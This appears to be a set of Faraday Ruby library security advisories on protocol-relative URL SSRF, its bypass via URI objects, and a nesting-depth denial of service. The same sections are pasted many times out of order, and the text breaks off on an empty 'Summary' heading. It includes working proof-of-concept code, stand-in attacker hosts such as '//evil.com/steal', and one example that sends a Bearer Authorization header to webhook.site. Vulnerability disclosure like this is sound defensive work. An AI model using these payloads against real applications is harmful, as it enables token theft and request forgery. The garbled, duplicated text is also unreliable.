The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.

Affected Component

• Repository File(s)/Endpoint(s):
  • lib/faraday/connection.rb
  • lib/faraday/request.rb
  • spec/faraday/connection_spec.rb
  • spec/faraday/request_spec.rb
• Function(s):
  • Faraday::Connection#build_exclusive_url
  • Faraday::Connection#run_request
  • Faraday::Request#url
  • Faraday::Request#to_env
• Version(s) Tested:
  • Faraday 2.14.1
  • repository HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca

Attacker Profile

• Who: A remote user who can influence a per-request target/path in an application that uses a fixed-base Faraday connection
• Access Required: Ability to supply data that the application converts to URI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)
• Capability: Control over a protocol-relative URI such as URI("//evil.example/pwn")

Steps to Reproduce

1. Use the current repository checkout and load Faraday from lib/.
2. Build a fixed-base connection and provide a protocol-relative URI object to req.url.
3. Observe that the request is actually sent to the attacker-controlled host instead of the configured base host.
4. Observe that the connection-scoped Authorization header remains attached to the off-host request.

Verification Evidence

• Environment: macOS, Ruby from local environment, Faraday 2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca
• Commands executed:

$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'

• PoC code (inline):

require "faraday"
require "faraday/net_http"

conn = Faraday.new(url: "http://trusted.example/base", headers: {
  "Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }

target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))

puts resp.status
puts resp.body

• Exit code: 0
• stdout (relevant excerpt):

200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn

• stderr (relevant excerpt):

N/A

• Artifacts: none

Additional External Confirmation

The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:

require "faraday"
require "faraday/net_http"

conn = Faraday.new(
  url: "http://trusted.example/base",
  headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }

target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"

This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.

Supporting Materials

• Existing advisory for the original string-based issue: GHSA-33mh-2634-fwr2
• Existing CVE for the original string-based issue: CVE-2026-25765
• Existing regression tests for the string-only fix:
  • spec/faraday/connection_spec.rb:314-345
• Existing test proving supported URI request input:
  • spec/faraday/request_spec.rb:26-31

Impact

The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), build_url(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

• Reject or strip input that starts with // followed by a non-/ character
• Use an allowlist of permitted path prefixes
• Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

Faraday::NestedParamsEncoder, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.

A crafted query string such as:

a[x][x][x][x]...[x]=1

causes Faraday to build a deeply nested Ruby Hash structure. The internal dehash routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught SystemStackError (stack level too deep), crashing the calling thread or worker. This can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.

This has been patched in version 2.14.3 and backported to 1.10.6.

Summary

